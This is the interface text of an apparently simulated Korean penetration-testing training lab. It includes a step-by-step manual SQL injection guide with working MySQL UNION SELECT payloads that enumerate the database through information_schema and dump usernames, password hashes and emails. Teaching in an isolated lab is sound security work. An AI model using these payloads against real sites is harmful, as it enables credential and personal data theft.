⚔️ PENTEST-LAB
// SIMULATION
MISSION 1
STAGE 1/4
입문
🛡️ TotalSec
로그아웃
점수
0
00:00
📋 미션 목록
총 점수
0
힌트 사용
0
완료 미션
0/4
🖥️
SYSTEM
미션을 선택하세요.
🌐 타겟 사이트
⬛ 터미널
📖 가이드
📝 노트
about:blank
🔒 HTTPS
미션을 선택하면 타겟 사이트가 로드됩니다
PENTEST-LAB Terminal v1.0 // 격리 환경
사용 가능 도구: nmap, curl, sqlmap, gobuster, nikto, hydra
──────────────────────────
attacker@pentest:~$
📖 수동 SQL 인젝션 분석 가이드
STEP 1
컬럼 수 파악 (ORDER BY)
⏳
ORDER BY로 컬럼 수를 1씩 늘려가며 에러가 나는 지점을 찾아요.
에러 직전 숫자 = 실제 컬럼 수
시도 1
ORDER BY 1--+-
→ 성공이면 계속
시도 2
ORDER BY 2--+-
→ 성공이면 계속
시도 3
ORDER BY 3--+-
→ 에러면 컬럼 수 = 2
💡 에러: "Unknown column '3' in 'order clause'" = 2개 컬럼 확정
STEP 2
출력 컬럼 위치 확인 (UNION SELECT)
🔒
UNION SELECT로 몇 번째 컬럼이 화면에 출력되는지 확인해요.
원본 쿼리 결과가 없어야 하므로 user를 없는 값으로 변경
컬럼 탐색
UNION SELECT 1,2--+-
→ 화면에 1 또는 2 출력
💡 응답에 숫자 1이나 2가 보이면 그 위치에 데이터 삽입 가능
STEP 3
DB 정보 추출
🔒
UNION SELECT에 MySQL 함수를 넣어 서버 정보를 추출해요
버전/DB명
UNION SELECT version(),database()
→ MySQL 버전 + 현재 DB명
DB 사용자
UNION SELECT user(),@@datadir
→ DB 계정 + 데이터 경로
💡 유용한 함수: version() / database() / user() / @@hostname
STEP 4
테이블 목록 추출
🔒
information_schema에서 테이블 목록을 가져와요
테이블 목록
UNION SELECT table_name,2 FROM information_schema.tables
→ DB 테이블 목록
컬럼 목록
UNION SELECT column_name,2 FROM information_schema.columns
→ users 테이블 컬럼
💡 information_schema = MySQL 메타데이터 DB (모든 테이블/컬럼 정보 보유)
STEP 5
데이터 추출 (크리덴셜 탈취)
🔒
실제 users 테이블에서 계정 정보를 추출해요
계정 덤프
UNION SELECT username,password FROM users
→ 아이디/비밀번호 해시
이메일 덤프
UNION SELECT username,email FROM users
→ 개인정보 열람
💡 LIMIT으로 출력 수 제한 / GROUP_CONCAT으로 여러 행 한번에 출력 가능
가이드가 있는 미션에서 자동으로 표시됩니다
📝 분석 노트 (자동 저장)
💡 Hint
💡 힌트 (-50점)
미션을 먼저 선택하세요.
힌트 사용 시 50점이 차감됩니다
힌트 적용 (-50점)
🔍 분석가 판단
다음 단계로 ›
🏆
미션 완료!
0점
계속하기
처음부터